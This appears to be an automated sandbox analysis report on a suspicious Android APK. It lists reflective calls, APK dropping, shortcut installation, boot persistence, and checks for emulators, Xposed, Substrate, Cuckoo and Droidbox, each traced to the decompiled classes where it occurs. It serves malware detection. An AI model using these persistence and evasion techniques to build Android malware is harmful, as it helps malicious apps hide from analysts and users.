Source: com.omgSdk.andoclib.Admob;->loadMiddlePlugin:184API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.andoclib.Admob;->loadMiddlePlugin:232API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.andoclib.Admob;->onDestroy:259API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.andoclib.c;->a:7API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.client.hook.base.BinderInvocationStub;->asInterface:14API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.base.MethodBox;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.base.MethodBox;->callSafe:10API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.base.MethodInvocationStub$HookInvocationHandler;->invoke:50API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.base.MethodProxy;->call:40API Call: java.lang.reflect.Method.invoke
Source: com.omg.base.ComponentQuery$ApkParser;->parser:11API Call: java.lang.reflect.Method.invoke
Source: com.omg.base.ComponentQuery$NewApkParser;->parser:5API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.commen.c;->a:3API Call: java.lang.reflect.Field.get
Source: com.omgSdk.commen.c;->a:9API Call: java.lang.reflect.Field.get
Source: com.omgSdk.commen.c;->a:16API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.commen.c;->b:48API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.commen.d;->a:99API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.commen.d;->a:126API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.compat.StorageManagerCompat;->getAllPoints:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.compat.StorageManagerCompat;->getMountedPoints:15API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.compat.StorageManagerCompat;->getMountedPoints:19API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.compat.StorageManagerCompat;->isMounted:29API Call: java.lang.reflect.Method.invoke
Source: com.sdk.entry.LoadVSdk;->instance:22API Call: java.lang.reflect.Method.invoke
Source: com.sdk.entry.LoadVSdk;->loadOnCreate:75API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.EventInjectService$3;->invoke:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.input.MethodProxies$StartInputOrWindowGainedFocus;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.ipc.LocalProxyUtils$1;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.libcore.MethodProxies$Stat;->afterCall:12API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.client.hook.proxies.location.MockLocationHelper;->setGpsStatus:182API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.location.MockLocationHelper;->setGpsStatus:196API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.location.BinderHookHandler;->invoke:7API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.SdkLauncher$3;->a:8API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.g;->a:50API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.q$b;->a:3API Call: java.lang.reflect.Method.invoke
Source: mirror.RefMethod;-><init>:12API Call: java.lang.reflect.Field.get
Source: mirror.RefMethod;->call:38API Call: java.lang.reflect.Method.invoke
Source: mirror.RefMethod;->callWithException:45API Call: java.lang.reflect.Method.invoke
Source: mirror.RefObject;->get:7API Call: java.lang.reflect.Field.get
Source: mirror.RefStaticMethod;-><init>:12API Call: java.lang.reflect.Field.get
Source: mirror.RefStaticMethod;->call:73API Call: java.lang.reflect.Method.invoke
Source: mirror.RefStaticMethod;->callWithException:76API Call: java.lang.reflect.Method.invoke
Source: mirror.RefStaticObject;->get:7API Call: java.lang.reflect.Field.get
Source: com.core.model.MApplication$3$1$1;->invoke:17API Call: java.lang.reflect.Method.invoke
Source: com.core.model.MApplication$3$1$1;->invoke:23API Call: java.lang.reflect.Method.invoke
Source: com.core.model.MApplication$3$1$1;->invoke:26API Call: java.lang.reflect.Method.invoke
Source: com.core.model.a;->a:8API Call: java.lang.reflect.Method.invoke
Source: com.core.model.a;->a:12API Call: java.lang.reflect.Method.invoke
Source: com.core.model.c$1$1;->invoke:27API Call: java.lang.reflect.Method.invoke
Source: com.core.model.c$1$1;->invoke:36API Call: java.lang.reflect.Method.invoke
Source: com.core.model.e$2;->invoke:9API Call: java.lang.reflect.Method.invoke
Source: com.core.model.f$1;->invoke:7API Call: java.lang.reflect.Method.invoke
Source: com.core.model.f;->a:8API Call: java.lang.reflect.Method.invoke
Source: com.core.model.f;->a:12API Call: java.lang.reflect.Field.get
Source: com.core.model.g;->a:24API Call: java.lang.reflect.Field.get
Source: com.core.model.g;->a:29API Call: java.lang.reflect.Field.get
Source: com.core.model.g;->a:36API Call: java.lang.reflect.Method.invoke
Source: com.core.model.g;->b:47API Call: java.lang.reflect.Field.get
Source: com.core.model.g;->b:52API Call: java.lang.reflect.Field.get
Source: com.core.model.g;->b:59API Call: java.lang.reflect.Method.invoke
Source: com.core.model.i$a;->a:5API Call: java.lang.reflect.Field.get
Source: com.core.model.j;->a:3API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$AreNotificationsEnabledForPackage;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$CancelAllNotifications;->call:9API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$CancelNotificationWithTag;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$CancelNotificationWithTag;->call:14API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$EnqueueNotification;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$EnqueueNotification;->call:19API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$EnqueueNotificationWithTag;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$EnqueueNotificationWithTag;->call:23API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.notification.MethodProxies$SetNotificationsEnabledForPackage;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.outport.CoreLeader;->a:5API Call: java.lang.reflect.Field.get
Source: com.omgSdk.outport.CoreLeader;->a:10API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.outport.CoreLeader;->invoke:49API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.outport.CoreLeader;->invoke:60API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.outport.SdkInvoker;->a:7API Call: java.lang.reflect.Method.invoke
Source: com.omgSdk.outport.SdkInvoker;->a:13API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$CheckSignatures;->call:16API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$ClearPackagePersistentPreferredActivities;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$ClearPackagePreferredActivities;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$DeleteApplicationCacheFiles;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetActivityInfo;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetActivityInfo;->call:10API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetApplicationBlockedSettingAsUser;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetApplicationEnabledSetting;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetApplicationInfo;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetApplicationInfo;->call:9API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetComponentEnabledSetting;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPackageGids;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPackageInfo;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPackageInstaller;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPackageUid;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPermissionFlags;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPermissions;->call:2API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetPreferredActivities;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetProviderInfo;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetProviderInfo;->call:10API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetReceiverInfo;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetReceiverInfo;->call:9API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetServiceInfo;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$IsPackageAvailable;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$QueryIntentActivities;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$QueryIntentContentProviders;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$QueryIntentReceivers;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$QueryIntentServices;->call:7API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$RemovePackageFromPreferred;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$ResolveContentProvider;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$ResolveIntent;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$ResolveService;->call:6API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$RevokeRuntimePermission;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$SetApplicationBlockedSettingAsUser;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$SetApplicationEnabledSetting;->call:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$SetPackageStoppedState;->call:3API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.ps.b$a;->a:15API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.ps.f$c;->a:27API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.ps.f$d$1;->getTheme:27API Call: java.lang.reflect.Method.invoke
Source: sdk.nicro.lu.ps.f$d;->b:78API Call: java.lang.reflect.Method.invoke
Source: com.taobao.android.runtime.ReflectionUtils;->getField:4API Call: java.lang.reflect.Field.get
Source: com.taobao.android.runtime.RuntimeUtils;->isYunOS:28API Call: java.lang.reflect.Method.invoke
Source: com.taobao.android.runtime.RuntimeUtils;->isYunOS:30API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.search.SearchManagerStub$GetSearchableInfo;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.secondary.ProxyServiceFactory$1$1$1;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.secondary.ProxyServiceFactory$2$1$1;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.secondary.ProxyServiceFactory$3$1$1;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.secondary.StubBinder;->queryLocalInterface:29API Call: java.lang.reflect.Method.invoke
Source: com.omg.base.network.serializer.MessageCodec;->c:80API Call: java.lang.reflect.Field.get
Source: com.omg.base.network.serializer.MessageCodec;->deserializeObject:152API Call: java.lang.reflect.Field.get
Source: com.omg.base.network.serializer.MessageCodec;->serializeObject:246API Call: java.lang.reflect.Field.get
Source: com.omg.base.network.serializer.MessageCodec;->serializeObject:253API Call: java.lang.reflect.Field.get
Source: com.omg.base.network.serializer.MessageCodec;->serializeObject:286API Call: java.lang.reflect.Field.get
Source: com.omg.base.network.serializer.MessageCodec;->serializeObject:302API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.client.hook.proxies.window.session.BaseMethodProxy;->call:4API Call: java.lang.reflect.Method.invoke
Source: com.omg.tool.ClassCopier;->a:32API Call: java.lang.reflect.Field.get
Source: com.omg.tool.Reflect$Method;->invoke:3API Call: java.lang.reflect.Method.invoke
Source: com.omg.tool.Reflect$Method;->invoke:6API Call: java.lang.reflect.Method.invoke
Source: com.omg.tool.ReflectHelper;->getValue:25API Call: java.lang.reflect.Field.get
Source: com.omg.tool.ReflectHelper;->invoke:32API Call: java.lang.reflect.Method.invoke
Source: com.omg.tool.Type$FieldProperty;->getValue:14API Call: java.lang.reflect.Field.get
Source: com.omg.tool.Type$MethodProperty;->getValue:26API Call: java.lang.reflect.Method.invoke
Source: com.omg.tool.Type$MethodProperty;->setValue:28API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.utils.Reflect;->on:73API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.utils.Reflect;->on:75API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.helper.utils.Reflect;->field:188API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.NativeInvoke;->invokeMethodByFactory:48API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.NativeInvoke;->invokeMethodByFactory:53API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->get:4API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.ReflacUtlis;->get:11API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:26API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:27API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:33API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:34API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:40API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMeth:41API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMethFor:47API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMethFor:48API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMethFor:54API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.ReflacUtlis;->invokeMethFor:55API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.Reflect;->on:73API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.Reflect;->on:75API Call: java.lang.reflect.Method.invoke
Source: com.omg.event.utils.Reflect;->field:188API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.ViewHelp;->getAllRootViewsObject:107API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.ViewHelp;->getAllRootViewsObject:112API Call: java.lang.reflect.Field.get
Source: com.omg.event.utils.ViewHelp;->getAllRootViewsObject:119API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.DelegateApplication64Bit;->expandFieldArray:3API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.DelegateApplication64Bit;->expandFieldList:11API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.DelegateApplication64Bit;->makeDexElements:56API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.DelegateApplication64Bit;->attachBaseContext:66API Call: java.lang.reflect.Field.get
Source: com.lody.virtual.DelegateApplication64Bit;->attachBaseContext:83API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.DelegateApplication64Bit;->attachBaseContext:110API Call: java.lang.reflect.Field.get
Source: .abq;->a:7API Call: java.lang.reflect.Method.invoke
Source: .abq;->a:87API Call: java.lang.reflect.Method.invoke
Source: .aco;->a:15API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.window.MethodProxies$BasePatchSession;->call:5API Call: java.lang.reflect.Method.invoke
Source: com.lody.virtual.client.hook.proxies.window.MethodProxies$OverridePendingAppTransitionInPlace;->call:3API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Drops a new APK fileShow sources
Source: Android AppFile dump: /data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apkJump to dropped file
Installs an application shortcut on the screenShow sources
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$BroadcastIntent;->handleInstallShortcutIntent:25API Call: android.content.Intent.putExtra android.intent.extra.shortcut.INTENT
Source: com.lody.virtual.client.hook.proxies.am.MethodProxies$BroadcastIntent;->handleUninstallShortcutIntent:70API Call: android.content.Intent.putExtra android.intent.extra.shortcut.INTENT
Source: com.lody.virtual.client.core.VirtualCore;->createShortcut:83API Call: android.content.Intent.putExtra android.intent.extra.shortcut.INTENT
Source: com.lody.virtual.client.core.VirtualCore;->removeShortcut:267API Call: android.content.Intent.putExtra android.intent.extra.shortcut.INTENT
Source: com.omg.android.tool.AndroidTool;->createShortcut:16API Call: android.content.Intent.putExtra android.intent.extra.shortcut.INTENT
Sets an intent to the APK data type (used to install other APKs)Show sources
Source: com.omg.android.tool.AppInstaller;->b:12API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: com.google.apps.tiktok.concurrent.AndroidFutures;->a:8API Call: android.os.PowerManager.newWakeLock
Source: com.core.model.a;->d:58API Call: android.os.PowerManager.newWakeLock

Hooking and other Techniques for Hiding and Protection:

barindex
Has permission to draw over other applications or user interfacesShow sources
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
Has permission to use bluetooth to discover and pair with other devicesShow sources
Source: submitted apkRequest permission: android.permission.BLUETOOTH_ADMIN
Queries list of running processes/tasksShow sources
Source: com.lody.virtual.server.am.ActivityStack;->getRunningTaskIds:82API Call: android.app.ActivityManager.getRunningTasks
Source: com.lody.virtual.server.am.VActivityManagerService;->getProcessName:67API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.lody.virtual.client.core.VirtualCore;->isEngineLaunched:201API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.sdk.export.APIExporter$1;->getRunningProcess:3API Call: android.app.ActivityManager.getRunningAppProcesses
Source: com.sdk.export.APIExporter$1;->getRunningTasks:5API Call: android.app.ActivityManager.getRunningTasks
Source: com.sdk.export.APIExporter$1;->getTopTask:7API Call: android.app.ActivityManager.getRunningTasks
Source: com.omg.android.tool.AppRunningChecker$ActivityAppRunningChecker;->getRunningApp:8API Call: android.app.ActivityManager.getRunningTasks
Source: com.omg.android.tool.ProcessHelper;->isProcessRunning:28API Call: android.app.ActivityManager.getRunningAppProcesses
Queries package code path (often used for patching other applications)Show sources
Source: sdk.nicro.lu.s$a;->c:92API Call: android.content.Context.getPackageCodePath
Uses Crypto APIsShow sources
Source: com.omg.tool.DesHelper;->decrypt:13API Call: javax.crypto.Cipher.getInstance
Source: com.omg.tool.DesHelper;->decrypt:15API Call: javax.crypto.Cipher.doFinal
Source: sdk.nicro.lu.d;->a:4API Call: java.security.MessageDigest.getInstance
Source: sdk.nicro.lu.d;->a:5API Call: java.security.MessageDigest.digest
Source: sdk.nicro.lu.c;->b:17API Call: javax.crypto.Cipher.getInstance
Source: sdk.nicro.lu.c;->b:19API Call: javax.crypto.Cipher.doFinal
Source: com.sdk.entry.LoadVSdk;->md5ProcessName:48API Call: java.security.MessageDigest.getInstance
Source: com.sdk.entry.LoadVSdk;->md5ProcessName:50API Call: java.security.MessageDigest.update
Source: com.sdk.entry.LoadVSdk;->md5ProcessName:52API Call: java.security.MessageDigest.digest
Source: a.a.a.c;->a:58API Call: java.security.MessageDigest.getInstance
Source: a.a.a.c;->a:60API Call: java.security.MessageDigest.update
Source: a.a.a.c;->a:61API Call: java.security.MessageDigest.digest
Source: b.a.ar;->a:39API Call: javax.crypto.Cipher.getInstance
Source: b.a.ar;->a:44API Call: javax.crypto.Cipher.init
Source: b.a.ar;->a:45API Call: javax.crypto.Cipher.doFinal
Source: b.a.ar;->b:54API Call: java.security.MessageDigest.getInstance
Source: b.a.ar;->b:56API Call: java.security.MessageDigest.update
Source: b.a.ar;->b:57API Call: java.security.MessageDigest.digest
Source: b.a.ar;->b:60API Call: javax.crypto.Cipher.getInstance
Source: b.a.ar;->b:65API Call: javax.crypto.Cipher.init
Source: b.a.ar;->b:66API Call: javax.crypto.Cipher.doFinal
Source: b.a.ar;->c:69API Call: java.security.MessageDigest.getInstance
Source: b.a.ar;->c:70API Call: java.security.MessageDigest.update
Source: b.a.ar;->c:71API Call: java.security.MessageDigest.digest
Source: b.a.at;->r:280API Call: java.security.MessageDigest.getInstance
Source: b.a.at;->r:282API Call: java.security.MessageDigest.digest
Source: b.a.au;->a:19API Call: java.security.MessageDigest.getInstance
Source: b.a.au;->a:21API Call: java.security.MessageDigest.update
Source: b.a.au;->a:22API Call: java.security.MessageDigest.digest
Source: b.a.au;->b:54API Call: java.security.MessageDigest.getInstance
Source: b.a.au;->b:56API Call: java.security.MessageDigest.update
Source: b.a.au;->b:57API Call: java.security.MessageDigest.digest
Source: a.a.b.b;->b:96API Call: java.security.MessageDigest.getInstance
Source: a.a.b.b;->b:100API Call: java.security.MessageDigest.digest
Source: a.a.b.b;->b:103API Call: java.security.MessageDigest.update
Source: sdk.nicro.lu.c;->a:9API Call: javax.crypto.Cipher.getInstance
Source: sdk.nicro.lu.c;->a:10API Call: javax.crypto.Cipher.init
Source: sdk.nicro.lu.c;->a:11API Call: javax.crypto.Cipher.doFinal
Source: sdk.nicro.lu.c;->b:18API Call: javax.crypto.Cipher.init
Source: com.core.model.MApplication$2;->a:231API Call: javax.crypto.Cipher.getInstance
Source: com.core.model.MApplication$2;->a:232API Call: javax.crypto.Cipher.init
Source: com.core.model.MApplication$2;->a:233API Call: javax.crypto.Cipher.doFinal
Source: com.lody.virtual.client.stub.VASettings;->decrypt:16API Call: javax.crypto.Cipher.getInstance
Source: com.lody.virtual.client.stub.VASettings;->decrypt:17API Call: javax.crypto.Cipher.init
Source: com.lody.virtual.client.stub.VASettings;->decrypt:18API Call: javax.crypto.Cipher.doFinal
Source: com.omg.tool.DesHelper;->decrypt:14API Call: javax.crypto.Cipher.init
Source: com.omg.tool.DesHelper;->encrypt:22API Call: javax.crypto.Cipher.getInstance
Source: com.omg.tool.DesHelper;->encrypt:23API Call: javax.crypto.Cipher.init
Source: com.omg.tool.DesHelper;->encrypt:24API Call: javax.crypto.Cipher.doFinal
Source: com.omg.tool.MD5Util;->md5:3API Call: java.security.MessageDigest.getInstance
Source: com.omg.tool.MD5Util;->md5:4API Call: java.security.MessageDigest.update
Source: com.omg.tool.MD5Util;->md5:5API Call: java.security.MessageDigest.digest
Source: com.lody.virtual.helper.utils.MD5Utils;-><clinit>:2API Call: java.security.MessageDigest.getInstance
Source: com.lody.virtual.helper.utils.MD5Utils;->getFileMD5String:22API Call: java.security.MessageDigest.update
Source: com.lody.virtual.helper.utils.MD5Utils;->getFileMD5String:25API Call: java.security.MessageDigest.digest
Source: com.lody.virtual.helper.utils.MD5Utils;->getFileMD5String:29API Call: java.security.MessageDigest.update
Source: com.lody.virtual.helper.utils.MD5Utils;->getFileMD5String:32API Call: java.security.MessageDigest.digest
Source: com.omg.event.utils.Digest;->md5:5API Call: java.security.MessageDigest.getInstance
Source: com.omg.event.utils.Digest;->md5:6API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Might try to detect if ADB is runningShow sources
Source: Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)VMethod string: adb_enabled
Source: Lcom/omgSdk/outport/GetParamsUtil;->h()ZMethod string: adb_enabled
Tries to check if this is a real phone (bluethoot adapter)Show sources
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Reflective call: android.bluetooth.BluetoothAdapter@3f034e42
Tries to check if this is a real phone (default sensor)Show sources
Source: com.inasmuch.trample.Fly;->mountainous:58API Call: Reflective call: android.hardware.SystemSensorManager@399f11f9
Tries to detect Cuckoo Sandbox via stack trace enumerationShow sources
Source: Lsdk/nicro/lu/ps/b;->e()ZMethod string: "cuckoo"
Tries to detect Cydia Substrate code modification platformShow sources
Source: Lcom/omgSdk/outport/GetParamsUtil;->y()ZMethod string: com.saurik.substrate
Source: Lcom/omgSdk/outport/AntiEmulator;->d()ZMethod string: com.saurik.substrate
Source: Lsdk/nicro/lu/ps/b;->d()ZMethod string: com.saurik.substrate
Source: Lsdk/nicro/lu/ps/b;->e()ZMethod string: com.saurik.substrate.MS$2
Source: Lcom/omgSdk/outport/AntiEmulator;->e()ZMethod string: com.saurik.substrate.MS$2
Source: Lcom/omgSdk/outport/GetParamsUtil;->z()ZMethod string: com.saurik.substrate.MS$2
Source: Lcom/omgSdk/outport/GetParamsUtil;->x()ZMethod string: com.saurik.substrate
Source: Lcom/omgSdk/outport/AntiEmulator;->a(Landroid/content/Context;)ZMethod string: com.saurik.substrate
Source: Lsdk/nicro/lu/ps/b;->d(Landroid/content/Context;)ZMethod string: com.saurik.substrate
Tries to detect Droidbox via stack trace enumerationShow sources
Source: Lsdk/nicro/lu/ps/b;->e()ZMethod string: "droidbox"
Tries to detect XPosed instrumentation frameworkShow sources
Source: Lcom/omgSdk/outport/GetParamsUtil;->y()ZMethod string: XposedBridge.jar
Source: Lcom/omgSdk/outport/AntiEmulator;->d()ZMethod string: XposedBridge.jar
Source: Lsdk/nicro/lu/ps/b;->d()ZMethod string: XposedBridge.jar
Source: Lsdk/nicro/lu/ps/b;->e()ZMethod string: de.robv.android.xposed.XposedBridge
Source: Lcom/omgSdk/outport/AntiEmulator;->e()ZMethod string: de.robv.android.xposed.XposedBridge
Source: Lcom/omgSdk/outport/GetParamsUtil;->z()ZMethod string: de.robv.android.xposed.XposedBridge
Source: Lcom/omgSdk/outport/GetParamsUtil;->x()ZMethod string: de.robv.android.xposed.installer
Source: Lcom/omgSdk/outport/AntiEmulator;->a(Landroid/content/Context;)ZMethod string: de.robv.android.xposed.installer
Source: Lsdk/nicro/lu/ps/b;->d(Landroid/content/Context;)ZMethod string: de.robv.android.xposed.installer
Accesses /procShow sources
Source: Lcom/inasmuch/trample/Fly;->deceive()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lcom/omgSdk/outport/GetParamsUtil;->w()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lcom/omgSdk/outport/AntiEmulator;->d()ZMethod string: "/proc/"
Source: Lsdk/nicro/lu/ps/b;->d()ZMethod string: "/proc/"
Source: Lcom/omgSdk/outport/AntiEmulator;->c()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lsdk/nicro/lu/ps/b;->c()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lb/a/at;->a()Ljava/lang/String;Method string: "/proc/cpuinfo"
Source: Lsdk/nicro/lu/s$a;->v()IMethod string: "/proc/meminfo"
Accesses android OS build fieldsShow sources
Source: com.convenience.amplify.Faithful;->chairman:2Field Access: android.os.Build.MANUFACTURER
Source: com.convenience.amplify.Faithful;->chairman:7Field Access: android.os.Build.MODEL
Source: com.omg.base.terminal.OmgTerminalinfo;->init:64Field Access: android.os.Build.PRODUCT
Source: com.omg.base.terminal.OmgTerminalinfo;->init:67Field Access: android.os.Build.MODEL
Source: com.omg.base.terminal.OmgPhoneInfo;->init:52Field Access: android.os.Build.MANUFACTURER
Source: com.omg.base.terminal.OmgPhoneInfo;->init:55Field Access: android.os.Build.MODEL
Source: com.omg.base.terminal.OmgPhoneInfo;->init:63Field Access: android.os.Build.BRAND
Source: sdk.nicro.lu.s$b;-><init>:7Field Access: android.os.Build.MODEL
Source: com.omgSdk.outport.GetParamsUtil;->f:121Field Access: android.os.Build.TAGS
Source: a.a.a.c;->a:7Field Access: android.os.Build.MANUFACTURER
